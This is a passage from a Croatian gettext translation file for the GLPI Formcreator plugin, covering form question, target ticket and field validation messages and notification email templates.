msgstr "Ova vrsta pitanja nije kompatibilna s javnim obrascima."

#: inc/question.class.php:376
msgid "This type of question requires parameters"
msgstr "Ova vrsta pitanja treba parametre"

#: inc/question.class.php:382
msgid "A parameter is missing for this question type"
msgstr "Jedan parametar nedostaje za ovu vrstu pitanja"

#: inc/question.class.php:685 inc/section.class.php:592
msgid "Add a question"
msgstr "Dodaj pitanje"

#: inc/question.class.php:688
msgid "Edit a question"
msgstr "Uredi pitanje"

#: inc/question.class.php:781
msgid "Required"
msgstr "Obavezno"

#: inc/question.class.php:798
msgid "Show empty"
msgstr "Prikaži prazne"

#: inc/question.class.php:841
msgid "Condition to show the question"
msgstr "Uvjet za prikaz pitanja"

#: inc/questiondependency.class.php:68
msgid "Question dependency"
msgid_plural "Question dependencies"
msgstr[0] "Ovisnost pitanja"
msgstr[1] "Ovisnosti pitanja"
msgstr[2] "Ovisnosti pitanja"

#: inc/questionrange.class.php:53
msgid "Question range"
msgid_plural "Question ranges"
msgstr[0] "Raspon pitanja"
msgstr[1] "Rasponi pitanja"
msgstr[2] "Rasponi pitanja"

#: inc/questionrange.class.php:63
msgid "Minimum range"
msgstr "Minimalan raspon"

#: inc/questionrange.class.php:72
msgid "maximum range"
msgstr "Maksimalan raspon"

#: inc/questionrange.class.php:105
msgid "Min"
msgstr "Min."

#: inc/questionrange.class.php:107
msgid "Max"
msgstr "Maks."

#: inc/questionregex.class.php:53
msgid "Question regular expression"
msgid_plural "Question regular expressions"
msgstr[0] "Pitanje s regularnim izrazom"
msgstr[1] "Pitanje s regularnim izrazima"
msgstr[2] "Pitanje s regularnim izrazima"

#: inc/questionregex.class.php:63 inc/field/floatfield.class.php:252
#: inc/field/textfield.class.php:235
msgid "Regular expression"
msgstr "Regularan izraz"

#: inc/questionregex.class.php:96
msgid ""
"Specify the additional validation conditions in the description of the "
"question to help users."
msgstr ""
"Odredi uvjete za dodatne potvrde u opisu pitanja, kao pomoć korisnicima."

#: inc/section.class.php:424
msgid "Edit a section"
msgstr "Uredi odjeljak"

#: inc/section.class.php:451
msgid "Condition to show the section"
msgstr "Uvjet za prikaz odjeljka"

#: inc/target_actor.class.php:68
msgid "Specific person"
msgstr "Određena osoba"

#: inc/target_actor.class.php:70
msgid "Specific group"
msgstr "Određena grupa"

#: inc/target_actor.class.php:72
msgid "Group from an object"
msgstr "Grupa iz jednog objekta"

#: inc/target_actor.class.php:73
msgid "Tech group from an object"
msgstr "Tehnička grupa iz jednog objekta"

#: inc/target_actor.class.php:74
msgid "Specific supplier"
msgstr "Određeni dobavljač"

#: inc/target_actor.class.php:91
msgid "Target actor"
msgid_plural "Target actors"
msgstr[0] "Učesnik cijla"
msgstr[1] "Učesnici cilja"
msgstr[2] "Učesnici cilja"

#: inc/targetchange.class.php:42 inc/targetchange.class.php:402
msgid "Target change"
msgid_plural "Target changes"
msgstr[0] "Promjena cilja"
msgstr[1] "Promjene cilja"
msgstr[2] "Promjene cilja"

#: inc/targetchange.class.php:245 inc/targetticket.class.php:1180
#, php-format
msgid ""
"Failed to add or update the %1$s %2$s: a question is missing and is used in "
"a parameter of the target"
msgstr ""
"%1$s %2$s nije dodano ili aktualizirano: nedostaje pitanje i koristi se u "
"parametru cilja"

#: inc/targetchange.class.php:301 inc/targetchange.class.php:405
msgid "Change title"
msgstr "Promijeni naslov"

#: inc/targetchange.class.php:311 inc/targetticket.class.php:135
msgid "Content"
msgstr "Sadržaj"

#: inc/targetchange.class.php:321
msgid "Impact"
msgstr "Utjecaj"

#: inc/targetchange.class.php:331
msgid "Control list"
msgstr "Popis upravljanja"

#: inc/targetchange.class.php:341
msgid "Deployment plan"
msgstr "Plan implementacije"

#: inc/targetchange.class.php:351
msgid "Backup plan"
msgstr "Plan spremanja sigurnosnih kopija"

#: inc/targetchange.class.php:361
msgid "Check list"
msgstr "Popis provjere"

#: inc/targetchange.class.php:373 inc/targetticket.class.php:153
msgid "Add a target "
msgstr "Dodaj cilj "

#: inc/targetchange.class.php:375 inc/targetticket.class.php:155
msgid "Edit a target"
msgstr "Uredi cilj"

#: inc/targetchange.class.php:506 inc/targetticket.class.php:266
msgid "Condition to create the target"
msgstr "Uvjet za stvaranje cilja"

#: inc/targetticket.class.php:52 inc/targetticket.class.php:182
msgid "Target ticket"
msgid_plural "Target tickets"
msgstr[0] "Nalog cilja"
msgstr[1] "Nalozi cilja"
msgstr[2] "Nalozi cilja"

#: inc/targetticket.class.php:94
msgid "None"
msgstr "Ništa"

#: inc/targetticket.class.php:95
msgid "Specific asset"
msgstr "Određeni inventar"

#: inc/targetticket.class.php:103
msgid "Default or from a template"
msgstr "Standardno ili iz predloška"

#: inc/targetticket.class.php:104
msgid "Specific type"
msgstr "Određena vrsta"

#: inc/targetticket.class.php:125 inc/targetticket.class.php:185
msgid "Ticket title"
msgstr "Naslov naloga"

#: inc/targetticket.class.php:255
msgid "Add validation message as first ticket followup"
msgstr "Dodaj poruku potvrde kao prvo priopćenje naloga"

#: inc/targetticket.class.php:309
msgid "Link to an other ticket"
msgstr "Poveži s jednim drugim nalogom"

#: inc/targetticket.class.php:318
msgid "An other destination of this form"
msgstr "Jedno drugo odredište ovog obrasca"

#: inc/targetticket.class.php:319
msgid "An existing ticket"
msgstr "Jedan postojeći nalog"

#: inc/targetticket.class.php:604
msgid "Invalid link type"
msgstr "Neispravna vrsta poveznice"

#: inc/targetticket.class.php:620
msgid "Invalid linked item type"
msgstr "Neispravna povezana vrsta predmeta"

#: inc/targetticket.class.php:633
msgid "Linked item does not exists"
msgstr "Povezani predmet ne postoji"

#: inc/targetticket.class.php:646
msgid "Failed to link the item"
msgstr "Neuspjelo povezivanje predmeta"

#: inc/targetticket.class.php:790 install/install.php:296
msgid "Your form has been accepted by the validator"
msgstr "Potvrditelj je prihvatio tvoj obrazac"

#: inc/targetticket.class.php:891
msgid "Type "
msgstr "Vrsta "

#: inc/targetticket.class.php:930
msgid "Item "
msgstr "Predmet "

#: inc/translation.class.php:157
msgid "No more string to translate"
msgstr "Nema daljnjih izraza za prevođenje"

#: inc/translation.class.php:218
msgid "Language not found."
msgstr "Jezik nije pronađen."

#: inc/translation.class.php:223
msgid "Form not found."
msgstr "Obrazac nije pronađen."

#: inc/translation.class.php:236
msgid "Failed to add the translation."
msgstr "Neuspjelo dodavanje prijevoda."

#: inc/wizard.class.php:100 inc/wizard.class.php:101
msgid "Seek assistance"
msgstr "Zatraži pomoć"

#: inc/wizard.class.php:106 inc/wizard.class.php:107
msgid "My requests for assistance"
msgstr "Moji zahtjevi za pomoć"

#: inc/wizard.class.php:115 inc/wizard.class.php:116
msgid "Knowledge Base"
msgstr "Baza znanja"

#: inc/wizard.class.php:123 inc/wizard.class.php:124
msgid "Book an asset"
msgstr "Rezerviraj inventar"

#: inc/wizard.class.php:131 inc/wizard.class.php:132
msgid "Consult feeds"
msgstr "Pregledaj feedove"

#: inc/wizard.class.php:260
msgid "To validate"
msgstr "Za potvrdu"

#: inc/wizard.class.php:270
msgid "Closed"
msgstr "Zatvoreno"

#: inc/field/actorfield.class.php:63 inc/field/checkboxesfield.class.php:57
#: inc/field/checkboxesfield.class.php:72 inc/field/radiosfield.class.php:56
#: inc/field/radiosfield.class.php:73
msgid "One per line"
msgstr "Jedan po retku"

#: inc/field/actorfield.class.php:94
msgid "Actor"
msgid_plural "Actors"
msgstr[0] "Učesnik"
msgstr[1] "Učesnici"
msgstr[2] "Učesnici"

#: inc/field/actorfield.class.php:269 inc/field/checkboxesfield.class.php:210
#: inc/field/datefield.class.php:138 inc/field/datetimefield.class.php:140
#: inc/field/floatfield.class.php:142 inc/field/radiosfield.class.php:234
#: inc/field/selectfield.class.php:97
#, php-format
msgid "A required field is empty: %s"
msgstr "Jedno obavezno polje je prazno: %s"

#: inc/field/actorfield.class.php:279
#, php-format
msgid "Invalid value: %s"
msgstr "Neispravna vrijednost: %s"

#: inc/field/actorfield.class.php:302
#, php-format
msgid "User not found or invalid email address: %s"
msgstr "Korisnik nije pronađen ili je e-adresa nevaljana: %s"

#: inc/field/checkboxesfield.class.php:152
msgid "Checkboxes"
msgstr "Potvrdni okviri"

#: inc/field/checkboxesfield.class.php:247
#, php-format
msgid "The following question needs at least %d answers"
msgstr "Sljedeće pitanje treba barem%d odgovora"

#: inc/field/checkboxesfield.class.php:253
#, php-format
msgid "The following question does not accept more than %d answers"
msgstr "Sljedeće pitanje ne prihvaća više od %d odgovora"

#: inc/field/checkboxesfield.class.php:265
#: inc/field/glpiselectfield.class.php:171 inc/field/radiosfield.class.php:156
msgid "The field value is required:"
msgstr "Vrijednost polja je obavezna:"

#: inc/field/checkboxesfield.class.php:326 inc/field/floatfield.class.php:267
#: inc/field/textfield.class.php:250
msgid "Range"
msgstr "Raspon"

#: inc/field/datetimefield.class.php:161
msgid "Date & time"
msgstr "Datum i vrijeme"

#: inc/field/descriptionfield.class.php:106
msgid "A description field should have a description:"
msgstr "Polje opisa bi trebalo imati opis:"

#: inc/field/dropdownfield.class.php:65
msgid "User"
msgstr ""

#: inc/field/dropdownfield.class.php:67
msgid "User and form"
msgstr ""

#: inc/field/dropdownfield.class.php:98
msgid "SLA"
msgstr "Ugovor o razini usluge (SLA)"

#: inc/field/dropdownfield.class.php:99
msgid "OLA"
msgstr "Ugovor o operativnoj raznini (OLA)"

#: inc/field/dropdownfield.class.php:132
msgid "Show ticket categories"
msgstr "Prikaži kategorije naloga"

#: inc/field/dropdownfield.class.php:137 inc/field/dropdownfield.class.php:139
msgid "Request categories"
msgstr "Kategorije zahtjeva"

#: inc/field/dropdownfield.class.php:138 inc/field/dropdownfield.class.php:139
msgid "Incident categories"
msgstr "Kategorije slučajnih događaja"

#: inc/field/dropdownfield.class.php:140
msgid "Change categories"
msgstr "Kategorije promjena"

#: inc/field/dropdownfield.class.php:169
msgid "Type"
msgstr "Vrsta"

#: inc/field/dropdownfield.class.php:174
msgid "Time to own"
msgstr "Vrijeme posjedovanja"

#: inc/field/dropdownfield.class.php:175
msgid "Time to resolve"
msgstr "Vrijeme rješavanja"

#: inc/field/dropdownfield.class.php:463
#: inc/field/ldapselectfield.class.php:230
#: inc/field/requesttypefield.class.php:189 inc/field/tagfield.class.php:157
#: inc/field/textareafield.class.php:163 inc/field/textfield.class.php:148
#: inc/field/timefield.class.php:139 inc/field/urgencyfield.class.php:193
msgid "A required field is empty:"
msgstr "Jedno obavezno polje je prazno:"

#: inc/field/dropdownfield.class.php:490
msgid "Invalid value for "
msgstr "Neispravna vrijednost za "

#: inc/field/dropdownfield.class.php:502
#, php-format
msgid "The field value is required: %s"
msgstr "Vrijednost polja je obavezna: %s"

#: inc/field/dropdownfield.class.php:518
#, php-format
msgid "Invalid dropdown type: %s"
msgstr "Neispravna vrsta padajućeg popisa: %s"

#: inc/field/dropdownfield.class.php:875
msgid "Entity restriction"
msgstr ""

#: inc/field/emailfield.class.php:108
#, php-format
msgid "This is not a valid e-mail: %s"
msgstr "Ovo nije valjana e-mail adresa: %s"

#: inc/field/filefield.class.php:94
msgid "No attached document"
msgstr "Nema priloženog dokumenta"

#: inc/field/filefield.class.php:96 inc/field/filefield.class.php:258
#: inc/field/filefield.class.php:265
msgid "Attached document"
msgstr "Priloženi dokument"

#: inc/field/filefield.class.php:139
#, php-format
msgid "A required file is missing: %s"
msgstr "Jedno obavezno polje nedostaje: %s"

#: inc/field/floatfield.class.php:159
#, php-format
msgid "This is not a number: %s"
msgstr "Ovo nije broj: %s"

#: inc/field/floatfield.class.php:173 inc/field/integerfield.class.php:69
#: inc/field/textfield.class.php:169
#, php-format
msgid "Specific format does not match: %s"
msgstr "Određeni format se ne poklapa: %s"

#: inc/field/floatfield.class.php:184 inc/field/integerfield.class.php:83
#, php-format
msgid "The following number must be greater than %d: %s"
msgstr "Sljedeći broj mora biti veći od %d: %s"

#: inc/field/floatfield.class.php:190 inc/field/integerfield.class.php:89
#, php-format
msgid "The following number must be lower than %d: %s"
msgstr "Sljedeći broj mora biti manji od %d: %s"

#: inc/field/floatfield.class.php:200
msgid "Float"
msgstr "Plutajući"

#: inc/field/floatfield.class.php:211 inc/field/integerfield.class.php:110
#: inc/field/textareafield.class.php:181 inc/field/textfield.class.php:201
msgid "The regular expression is invalid"
msgstr "Regularni izraz nije ispravan"

#: inc/field/floatfield.class.php:259 inc/field/textfield.class.php:242
msgid "Additional validation"
msgstr "Dodatna potvrda"

#: inc/field/glpiselectfield.class.php:78
#: inc/field/glpiselectfield.class.php:156
msgid "GLPI object"
msgid_plural "GLPI objects"
msgstr[0] "GLPI objekt"
msgstr[1] "GLPI objekti"
msgstr[2] "GLPI objekti"

#: inc/field/integerfield.class.php:57
#, php-format
msgid "This is not an integer: %s"
msgstr "Ovo nije cijeli broj: %s"

#: inc/field/integerfield.class.php:99
msgid "Integer"
msgstr "Cijeli broj"

#: inc/field/ldapselectfield.class.php:73
msgid "Filter"
msgstr "Filtar"

#: inc/field/ldapselectfield.class.php:85
msgid "Attribute"
msgstr "Svojstvo"

#: inc/field/ldapselectfield.class.php:183
msgid "LDAP size limit exceeded"
msgstr "Ograničenje veličine LDAP-a prekoračena"

#: inc/field/ldapselectfield.class.php:211
msgid "LDAP Select"
msgstr "LDAP odabir"

#: inc/field/ldapselectfield.class.php:248
msgid "LDAP directory not defined!"
msgstr "LDAP direktorij nije definiran!"

#: inc/field/ldapselectfield.class.php:255
msgid "LDAP directory not found!"
msgstr "LDAP direktorij nije pronađen!"

#: inc/field/ldapselectfield.class.php:277
msgid "Cannot recover LDAP informations!"
msgstr "Nije moguće obnoviti LDAP informacije!"

#: inc/field/multiselectfield.class.php:86
msgid "Multiselect"
msgstr "Višestruki odabir"

#: inc/field/radiosfield.class.php:150
msgid "Radios"
msgstr "Izborni gumbovi"

#: inc/field/requesttypefield.class.php:115
msgid "Request type"
msgstr "Vrsta zahtjeva"

#: inc/field/selectfield.class.php:90
msgid "Select"
msgstr "Odaberi"

#: inc/field/tagfield.class.php:191
msgid "Tag"
msgid_plural "Tags"
msgstr[0] "Oznaka"
msgstr[1] "Oznake"
msgstr[2] "Oznake"

#: inc/field/textareafield.class.php:124
msgid "Textarea"
msgstr "Tekstualno područje"

#: inc/field/textfield.class.php:178
#, php-format
msgid "The text is too short (minimum %d characters): %s"
msgstr "Tekst je prekratak (najmanje %d znakova): %s"

#: inc/field/textfield.class.php:183
#, php-format
msgid "The text is too long (maximum %d characters): %s"
msgstr "Tekst je predug (najviše %d znakova): %s"

#: inc/field/textfield.class.php:191
msgid "Text"
msgstr "Tekst"

#: inc/field/timefield.class.php:155
msgid "Time"
msgstr "Vrijeme"

#: install/install.php:277
msgid "A form has been created"
msgstr "Stvoren je jedan obrazac"

#: install/install.php:278
msgid "Your request has been saved"
msgstr "Tvoj zahtjev je spremljen"

#: install/install.php:279
msgid ""
"Hi,\\nYour request from GLPI has been successfully saved with number "
"##formcreator.request_id## and transmitted to the helpdesk team.\\nYou can "
"see your answers onto the following link:\\n##formcreator.validation_link##"
msgstr ""
"Pozdrav,\\ntvoj zahtjev iz GLPI-a je spremljen pod brojem "
"##formcreator.request_id## i proslijeđen podršci.\\nTvoje odgovore možeš "
"vidjeti na:\\n##formcreator.validation_link##"

#: install/install.php:284
msgid "A form from GLPI need to be validate"
msgstr "Potrebno je potvrditi GLPI obrazac"

#: install/install.php:285
msgid ""
"Hi,\\nA form from GLPI need to be validate and you have been choosen as the "
"validator.\\nYou can access it by clicking onto this "
"link:\\n##formcreator.validation_link##"
msgstr ""
"Pozdrav,\\nobrazac iz GLPI-a treba potvrditi, a tebe smo odabrali za "
"potvrditelja.\\nPristupi obrascu putem "
"poveznice:\\n##formcreator.validation_link##"

#: install/install.php:290
msgid "Your form has been refused by the validator"
msgstr "Potvrditelj je odbio tvoj obrazac"

#: install/install.php:291
msgid ""
"Hi,\\nWe are sorry to inform you that your form has been refused by the "
"validator for the reason "
"below:\\n##formcreator.validation_comment##\\n\\nYou can still modify and "
"resubmit it by clicking onto this link:\\n##formcreator.validation_link##"
msgstr ""
"Pozdrav,\\nobavještamo te, da je potvrditelj odbio tvoj obrazac iz dolje "
"navedenih razloga:\\n##formcreator.validation_comment##\\n\\nJoš uvijek ga "
"možeš izmijeniti i ponovo poslati na odobrenje putem "
"poveznice:\\n##formcreator.validation_link##"

#: install/install.php:297
msgid ""
"Hi,\\nWe are pleased to inform you that your form has been accepted by the "
"validator.\\nYour request will be considered soon."
msgstr ""
"Pozdrav,\\nobavještavamo te, da je potvrditelj prihvatio tvoj "
"obrazac.\\nZahtjev će uskoro biti razmotren."

#: install/install.php:302
msgid "Your form has been deleted by an administrator"
msgstr "Administrator je izbrisao obrazac"

#: install/install.php:303
msgid ""
"Hi,\\nWe are sorry to inform you that your request cannot be considered and "
"has been deleted by an administrator."
msgstr ""
"Pozdrav,\\nobavještavamo te, da tvoj zahtjev nažalost ne možemo uzeti u "
"obzir i da ga je administrator izbrisao."

#: install/install.php:525 install/upgrade_to_2.5.php:409
msgid "Formcreator - Sync service catalog issues"
msgstr "Formcreator – Problemi sa sinkronizacijom kataloga usluga"

#: js/scripts.js:357
msgid "No form found. Please choose a form below instead"
msgstr "Obrazac nije pronađen. Odaberi dolje jedan drugi"

#: js/scripts.js:380 js/scripts.js:401
msgid "An error occured while querying forms"
msgstr "Dogodila se greška prilikom traženja obrazaca"

#: js/scripts.js:463
msgid "No form yet in this category"
msgstr "Još nema obrasca u ovoj kategoriji"

#: js/scripts.js:739
msgid "Are you sure you want to delete this question?"
msgstr "Zaista želiš izbrisati ovo pitanje?"

#: js/scripts.js:941
msgid "Are you sure you want to delete this section?"
msgstr "Zaista želiš izbrisati ovaj odjeljak?"

#: js/scripts.js:1233
msgid "Are you sure you want to delete this destination:"
msgstr "Zaista želiš izbrisati ovo odredište:"

haha - 2025